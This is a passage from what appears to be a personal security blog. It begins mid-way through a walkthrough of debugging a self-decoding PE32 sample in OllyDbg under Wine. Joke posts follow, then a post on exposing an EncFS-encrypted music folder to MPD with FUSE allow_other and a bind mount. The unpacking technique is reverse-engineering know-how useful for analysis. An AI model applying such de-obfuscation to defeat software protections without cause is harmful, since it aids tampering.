So here comes our second tool, the best for PE32 debugging: OllyDbg. Even if it is only distributed for Windows, it runs perfectly under Wine. Lets see what our loop looks like :

We have a lot of junk code (useless instructions like add eax, N; dec eax, N). Fill it with NOPs. Looking at the bottom of the loop, we can see that ECX is the loop counter. Let's track operation on it. After a bit of cleanup, our code looks like this:

Much cleaner ! Now, we can run the program in the debugger and make it decode itself. Set a break point on the bottom of the loop, and watch it do the work ! You'll see that our counter is indeed ECX, and it is decremented at each loop. You can set a conditionnal breakpoint to make the program stop when ECX==0.
The next part is another decoding loop, similar to the first one. The decoding loop counter is in EDX, the "key" is stored in ESI, the write index is ECX. I'll let you look at it, there is a lot of funny stuff to see in this file. Happy native-PE32-linux-debugging !

Blackhat parallel sessions

2010-11-05T14:40:00.016+01:00

A colleague who attended the last blackhat conference could unfortunately not see all the 8 parallel talks (he is not -yet- ubiquitous). Someone asked why the conference's organisators were proposing so much sessions in parallel...

The answer is quite simple: because they put 4 steaks into one single burger! That's the U.S.A.

A piece of GNIF wisdom

2010-10-29T12:59:00.001+02:00

Heard at a meeting with GNIF clients:
"Well, you know, using the SSID of your wifi AP as a pre-shared key is not... really secure".

Cloud storage is hasbeen

2010-10-28T16:11:00.001+02:00

Now we have a much better technique for storing securely sensitive data: the sms, aka the "SubMarine Storage".

This guaranties the sealing of stored data and avoids any unauthorized reuse!

EncFS and MPD

2010-10-28T15:45:00.013+02:00

As every reasonably paranoïd person should do, I encrypt all the "sensible" content of my work laptop. By sensible, I mean everything that is not related to work:

- music

- TV Shows

- pictures from 4chan

- CV (yes, searching a new job at work is OK)

For encryption, I use EncFS, a user-space encrypted filesystem built on FUSE.

I wanted to install MPD, to be able to play my music when I crash / kill X. Unfortunately, it was not as simple as I imagined, due to multiple permission problems. Here is the scenario:

- encrypted EncFS folder is ~/.sec/

- I mount it on ~/sec/

- music is inside ~/sec/music/

If I try to start mpd (with music_directory set to /home/rocco/sec/music in /etc/mpd.conf):

$ sudo mpd /etc/mpd.conf
failed to stat music directory "/home/rocco/sec/music": Permission denied

So mpd cannot access the music folder. Fortunately for me, the Arch Wiki has a solution for me: remount the directory to a directory where mpd has access, for example /var/lib/mpd.

$ sudo mkdir /var/lib/mpd/music
$ sudo mount --bind /home/rocco/sec/music/ /var/lib/mpd/music/
mount: block device /home/rocco/sec/music/ is write-protected, mounting read-only
mount: cannot mount block device /home/rocco/sec/music/ read-only

Say whaaaat ? A little strace magic gives us:

[...]

mount("/home/rocco/sec/music/", "/var/lib/mpd/music/", 0x805371f, MS_MGC_VAL|MS_BIND, NULL) = -1 EACCES (Permission denied)

[...] 

mount("/home/rocco/sec/music/", "/var/lib/mpd/music/", 0x805371f, MS_MGC_VAL|MS_RDONLY|MS_BIND, NULL) = -1 EACCES (Permission denied)

So even root cannot mount the music folder... The solution lies in man encfs:

By default, all FUSE based filesystems are visible only to the user who mounted them. No other users (including root) can view the filesystem contents.

We must let FUSE know that we want the filesystem to be accessible to others. Add user_allow_other in /etc/fuse.conf and mount your EncFS directory with the option -o allow_other. The bind mount will then work:

$ encfs -o allow_other ~/.sec/ ~/sec/
$ sudo mount --bind /home/rocco/sec/music/ /var/lib/
$ sudo mpd /etc/mpd.conf